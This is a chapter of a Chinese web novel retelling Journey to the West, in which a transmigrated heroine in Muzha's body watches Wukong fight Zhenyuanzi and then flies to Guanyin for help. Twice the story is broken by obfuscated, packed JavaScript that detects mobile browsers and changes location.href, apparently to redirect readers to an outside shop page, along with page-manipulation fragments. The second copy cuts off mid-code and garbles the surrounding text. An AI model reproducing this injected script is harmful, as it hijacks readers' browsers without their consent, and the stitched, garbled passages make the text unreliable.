一袖子狠狠扫来,悟空被巨大的力道拍飞出去,重重地撞在围墙上,将墙壁撞出了一个巨大的窟窿。砖石哗啦啦地垮塌下来,将他瞬间淹没。 “大师兄!”八戒惊呼一声,就要不顾一切地冲出去。 肖小夭猛地一把拽住他:“你别去!” 八戒挣扎着,焦急大喊:“你放开我!” 肖小夭死死拽着他,厉声质问:“你去送死吗!” 话音刚落,废墟之中金光一闪。 悟空赫然从砖石堆里站了起来,他甩了甩头上的灰尘,嘴角挂着一丝血迹。 他笑了。 那笑容,在此刻看来,比平时更带着一股令人心寒的狠劲。 “老倌,”他声音有点沙哑,却字字铿锵,“再来。” 镇元子眉头微皱。这猴子,怎么打不死? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347409|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他袖子一挥,再次向悟空罩去。 悟空迎难而上,金箍棒舞得比刚才更快,更猛。 一棒,两棒,三棒…… 他每一棒都倾尽全力,每一棒都带着刺耳的破空之声。那袖子虽然能够抵挡,但每抵挡一下,其上青光便会黯淡一分。 就连镇元子的额头,也开始渗出细密的汗珠。 打了足足四十多个回合,悟空终于露出一个稍纵即逝的破绽。 镇元子看准时机,袖子猛地一卷,瞬间将悟空整个人都裹了进去。 肖小夭的心跳漏了一拍。 袖子里传来一阵阵闷响,那是悟空在里面剧烈挣扎的声音。 然而,那袖子纹丝不动,反而越收越紧。 过了几息,悟空从袖子里滚了出来,狼狈地摔在地上,浑身是土,气息紊乱。 他挣扎着爬起来,又要冲上去。 镇元子袖子再次一挥,又把他收了进去。 放出来,收进去。放出来,收进去。 反反复复,竟有五次之多。 悟空最后一次被放出来时,已是摇摇欲坠,站都站不稳了,只能扶着金箍棒大口喘气。他身上的衣服破烂不堪,毛发凌乱,脸上好几道伤口,血顺着下巴往下滴落。 但他依然顽强地站着,高大的身躯死死挡在八戒前面。 “再来。”他声音沙哑,带着不屈的嘶吼,但那双眼睛,却依旧光芒不减。 镇元子看着他,眼神里闪过一丝复杂的神色。 “你倒是个硬骨头。”他缓缓开口,“但你打不过我的。让开。” 悟空没有动。他只是站在那里,喘着粗气,紧握着金箍棒,一动不动。 八戒在他身后,已经哭得稀里哗啦。 “大师兄……”他哽咽着。 悟空没有回头。他只是坚定地看着镇元子,那双眼睛,在月光下亮得惊人。 镇元子眉头一皱,那巨大的袖子再次抬了起来。 就在这时,一个清脆却坚定的声音响起。 “大仙,且慢。” 肖小夭从柱子后面走了出来。 她双腿有些发抖,双手有些颤抖,整个人都带着一丝抑制不住的颤栗。但她还是走了出来,走到悟空身旁。 镇元子看向她,目光冰冷而审视。 “你也要拦我?” 肖小夭深吸一口气,努力让自己的声音保持平稳。 “大仙,我不是要拦您。”她清晰地说,“我只是想说,这人参果树,还有救。” 镇元子眉头微不可察地一动。 “什么意思?” 肖小夭语速飞快,将心中的想法倾泻而出:“观音菩萨有玉露净瓶,瓶中甘露能救活天下草木。这树虽然倒了,但根还在,只要观音菩萨肯出手,一定能救活!” 镇元子沉默了一瞬。 肖小夭抓住这宝贵的时机,赶紧继续说:“大仙息怒,莫要为难取经团。我这就去南海请观音菩萨,三天之内必定回来。如果菩萨不来,或者来了救不活这树,您再发落他们也不迟。” 镇元子锐利的目光盯着她看了几秒。那目光像是要把人看穿,洞悉所有隐藏的秘密。 肖小夭被他看得心里发毛,但还是硬着头皮站着,没有丝毫躲闪。 悟空在旁边看着她,眼神有点复杂。他没想到,在这种时候,她会站出来。 过了几秒,镇元子收回目光。 “好。”他终于开口,声音平静得令人心悸,“三天。” 肖小夭瞬间松了口气,转身就要跑。 跑出几步,她忍不住回头看了一眼。 悟空依然站在原地,高大的身影挡在八戒前面,看着她。 月光洒在他身上,毛茸茸的,虽然狼狈不堪,却站得笔直如枪。 他没说话,只是静静地看着她。那双眼睛,在月光下亮得惊人。 肖小夭没有再说什么,一头扎进了茫茫夜色之中。 身后,传来悟空的声音,很轻,但在寂静中,她听得清清楚楚。 “谢了。” 肖小夭的脚步顿了顿,然后跑得更快了。 21. 恭请菩萨 肖小夭一口气冲出五庄观,双腿酸麻,几欲断裂。她不知自己奔跑了多久,只记得身后那座道观的轮廓在夜色中渐渐缩小,最终被连绵的山林彻底吞没。脚下是崎岖不平的土路,坑坑洼洼,好几次险些让她崴了脚。但她顾不上疼痛,心中只有一个念头——跑,拼命地跑。肺部灼烧般的疼痛,喉咙里也泛起一股浓郁的血腥味。 直到一头扎进幽深的树林,彻底看不见五庄观的影子,她才猛地停下脚步,扶着一棵歪脖子树,剧烈地喘息起来。心脏剧烈地跳动着,咚咚作响,仿佛要从嗓子眼里蹦出来。 她弯着腰,大口大口地喘了好一会儿,才慢慢直起身子。 脑海中,方才那一幕幕仍旧清晰地回放着:镇元子从天而降时那铺天盖地的气势,那张黑得像锅底般的脸,以及眼中熊熊燃烧、足以将人烧成灰烬的怒火。还有悟空,被镇元子的袖里乾坤反复收纳、放出,足足五次。最后一次被甩出来时,他狼狈地趴在地上,浑身泥土,金箍棒滚落在不远处,脸上血迹斑斑。 可即便如此,他竟然还在笑。那笑容是那样的桀骜不驯,又带着一丝不易察觉的疲惫。 肖小夭闭了闭眼,用力将那震撼人心的画面从脑海中甩出去。 她低头审视着自己。一身原本素净的白衣此刻已沾满了灰尘,袖口不知何时被锐物划破一道口子。头发凌乱地散开,几缕碎发被汗水打湿,贴在额头上。膝盖上还有一块触目惊心的青紫,隐隐作痛,她甚至想不起是什么时候撞上的。 她下意识地摸了摸怀里。 那四个用帕子精心包裹的人参果还在。 隔着帕子,她依然能感受到果子温温软软的触感,像四个熟睡的婴儿,甚至能感觉到它们在轻轻滚动,仿佛在寻找最舒适的姿势。 肖小夭心里有点说不清道不明的滋味。她也不知道自己为什么要死死揣着这几个果子。偷都偷了,总不能真给扔了吧? 再说,这可是她用命换来的。 【系统】:检测到宿主心率过高。需要帮助吗? 肖小夭喘着粗气,在心里回怼:不需要!就是跑太快了! 【系统】:建议宿主休息片刻。南海距离尚远,以宿主目前的体力难以抵达。 肖小夭怔了一下。 南海?往哪儿走? 【系统】:……宿主不知道南海怎么走? 肖小夭:废话,我第一次去。 【系统】:往南。 肖小夭:……你这系统除了说废话还会什么? 【系统】:还会记录宿主死亡次数。 肖小夭:……我谢谢你哦,这功能真是贴心。 她深吸一口气,认命地继续往前走。然而走出一段路后,她意外地发现,这具木吒的身体远比她想象中结实。刚才的疲惫感迅速消退,腿不酸了,气也顺畅了许多。也许是木吒这个身份自带的仙家体质加成,肌肉里似乎还残留着某种久经训练的记忆,让她走起路来,比她原本那具久坐办公室的社畜身体利落多了。 正走着,脚下突然一空。 她低头一看,发现自己竟然踩在了一朵云上。 那云软软的,白白的,像一团巨大的棉花糖,稳稳地托着她的双脚。云层很薄,能隐约看见下方茂密的树顶,绿油油的一片,在夜色中如波涛起伏。 云? 肖小夭呆住了。 【系统】:木吒身份具备腾云驾雾权限,已自动开启。 肖小夭还未完全反应过来,脚下的云已开始缓慢而平稳地升高,离地面越来越远。她低头看着脚下迅速缩小的树顶,心也跟着悬了起来。 “喂喂喂,慢点慢点——”她忍不住叫出声。 【系统】:速度可调节。建议宿主适应一下。 肖小夭死死盯着脚下的云,一动也不敢动。那云看起来软绵绵的,踩上去却意外地稳当,如同踩在实地上一般。但她仍然不敢大意,生怕一个不小心就一脚踩空,直接坠落下去。 云朵稳稳地托举着她,径直朝南方飞去。 疾风迎面扑来,将她的头发吹得凌乱不堪。她一开始只敢眯着眼睛,死死盯住脚下的云,但最终还是忍不住好奇,往下瞥了一眼。 山川河流在脚下飞快地掠过,河流如同蜿蜒的银线,房屋则像一个个细小的火柴盒。广袤的田野是绿色的方块,一块块紧密拼接,形成一幅巨大的几何图案。远处的山峦层层叠叠,笼罩在朦胧的薄雾之中,显得神秘而幽远。 肖小夭看呆了。 活了二十多年,这还是她第一次真正在天上飞。 【系统】:建议宿主放松。摔倒的概率很低。 肖小夭:摔倒的概率?还有概率? 【系统】:0.01%。 肖小夭:……你这系统是不是故意的? 【系统】:是实话。 肖小夭深吸一口气,努力让自己放松下来。风依然很大,吹得她眼睛发酸,但她开始试着享受这种凌空飞行的感觉了。 腾云驾雾,果然是神仙才能享受的待遇啊。 虽然她这个“神仙”身份,是冒牌的。 很快,南海已然在望。 云朵缓缓下降,最终停在一片紫竹林前。从高空俯瞰,这片竹林如同一块碧绿的绒毯,铺展在山间,雾气缭绕,仙气飘飘。 肖小夭从云上跳下,双腿仍有些发软。她扶着一棵翠竹站稳,警惕地打量着四周。 竹林里烟雾弥漫,淡淡的檀香味与竹叶的清香丝丝缕缕地交织在一起,沁人心脾。那香味不浓不淡,恰到好处,让人心神为之宁静。阳光透过竹叶缝隙洒下,在地上投映出斑驳的光影,随着微风轻轻晃动,如同无数金色的蝴蝶在林间翩跹起舞。 远处隐约可见一座小小的院落,青砖黛瓦,半隐半现于雾气之中。院落的轮廓若隐若现,宛如一幅淡雅的水墨画。 四周安静极了,只有风吹过竹叶的沙沙声,以及偶尔几声清脆悦耳的鸟鸣,更添一份幽静。 肖小夭深吸一口气,努力整理了一下衣袍,迈步往里走。 然而走了几步,她又停了下来。 她低头看了看自己这副狼狈模样——白衣上全是灰尘,袖口破损,头发乱得像鸡窝,膝盖上还带着一块青紫。 就这样去见观音菩萨? 她咬了咬牙,最终还是硬着头皮继续前行。 好歹是来请罪的,狼狈点也正常。 穿过幽深的竹林,她来到了院落门口。 还未踏入门槛,一个清越的声音便从院内传来。 “木吒。” 那声音不大,却清晰地传入她的耳中,带着一丝温和的笑意,仿佛早就知道她会来此。 肖小夭的脚步猛地一顿。 她深吸一口气,稳了稳心神,迈步走入庭院。 院落的陈设非常简朴,一张石桌,几把石凳,墙角种着几竿青翠的细竹。地面铺着青砖,被打扫得一尘不染,砖缝间长着细细的青苔。 庭院正中,一座莲台静静伫立。莲台之上,盘坐着一道身影。 白衣胜雪,发丝乌黑,眉眼间流淌着无尽的慈悲。她周身笼罩着一层淡淡的金光,那光芒并不刺眼,反而让人感到温暖与安宁。她的眼睛半阖着,嘴角带着若有若无的笑意,仿佛在注视着肖小夭,又仿佛只是沉浸在自己的禅定之中。 肖小夭只觉得膝盖一软,未经思考便直接跪了下来。 不是她想跪,是这具身体本能的反应,腿根本不听使唤。 “菩、菩萨……”她的声音有些颤抖。 观音菩萨缓缓睁开眼睛,目光投向她。 那目光淡淡的,却让肖小夭感到头皮发麻。仿佛被一道温暖而强大的光芒彻底扫描,没有丝毫压迫感,却又让她感到无所遁形,连藏在怀里那几颗人参果的秘密,似乎都被看得一清二楚。 肖小夭跪在地上,低垂着头,连大气也不敢喘。 观音菩萨没有说话。 只剩下长久的沉默。 肖小夭能清晰地听见自己剧烈的心跳声,咚咚作响,在这安静的院落里显得格外突兀。她感觉手心和后背都在冒着冷汗,汗水粘在身上,让她难受得要命。 过了漫长的几息,观音菩萨终于开口了。 “五庄观那边,出事了?” 那声音不疾不徐,如同春日里的暖风,轻柔而带着洞悉一切的智慧。 肖小夭猛地一愣,抬起头来。 观音菩萨正看着她,眼中带着一丝若有若无的笑意。 “那人参果树,倒了?” 肖小夭彻底愣住了。 她……她竟然知道? 观音菩萨微微一笑,语气平静:“那猪八戒做的,我自然知道。” 肖小夭:“……” 她张了张嘴,却不知道该说些什么。想说八戒不是故意的,又觉得这话此刻说出来太苍白。想说是八戒干的,又觉得出卖队友实在不太厚道。 观音菩萨只是静静地看着她,也不催促。 那目光虽然温和,却让肖小夭心里的虚弱感更甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跪得太久,膝盖有些发麻,她起身时踉跄了一下。 观音菩萨回头看了她一眼,却没有说话。 肖小夭赶紧站稳,跟上。 走到院落门口,观音菩萨突然停下脚步。 她回头,再次看向肖小夭。 那目光,怎么说呢,有点意味深长,带着一丝了然的促狭。 “木吒。” 肖小夭心里一紧,立刻应道:“在。” 观音菩萨看着她,眼中的笑意更深了。 “那猴子,对你倒是上心。” 肖小夭彻底愣住了。 什么意思? 她张了张嘴,想问个清楚,却又不敢开口。 观音菩萨没有再多说什么,脚踏祥云,飘然而起。白衣在风中轻轻飘动,转眼间便消失在天际,只留下一道淡淡的金光在空中闪烁。 肖小夭呆立在原地,愣了好一会儿。 脑子里嗡嗡作响,那句“对你倒是上心”反复回荡。 她抬手摸了摸脸颊。 烫的。 【系统】:检测到宿主心率波动。需要帮助吗? 肖小夭:不需要!我很好! 【系统】:检测到面部温度升高,疑似—— 肖小夭:你闭嘴! 【系统】:……好的。 肖小夭深吸一口气,将怀里的人参果重新塞好,随后也踩上祥云,追随观音菩萨的方向而去。 风还是那么大,吹得她有些睁不开眼。 但这一次,她却觉得那风似乎没那么冷了。 她想起观音菩萨的那句话,心里有些乱糟糟的。 上心? 对她? 她一个系统认定的bug,一个临时宿主,一个连系统都不知道该如何处理的存在? 肖小夭摇了摇头,努力把那个不切实际的念头甩出去。 别想了,这不可能。 大概只是因为她魂魄特殊,只是因为悟空好奇。 仅此而已。 疾风呼啸着,将她乱七八糟的念头也一并吹散。 她看着前方观音菩萨那飘渺的背影,加快了速度。 五庄观那边,可还等着呢。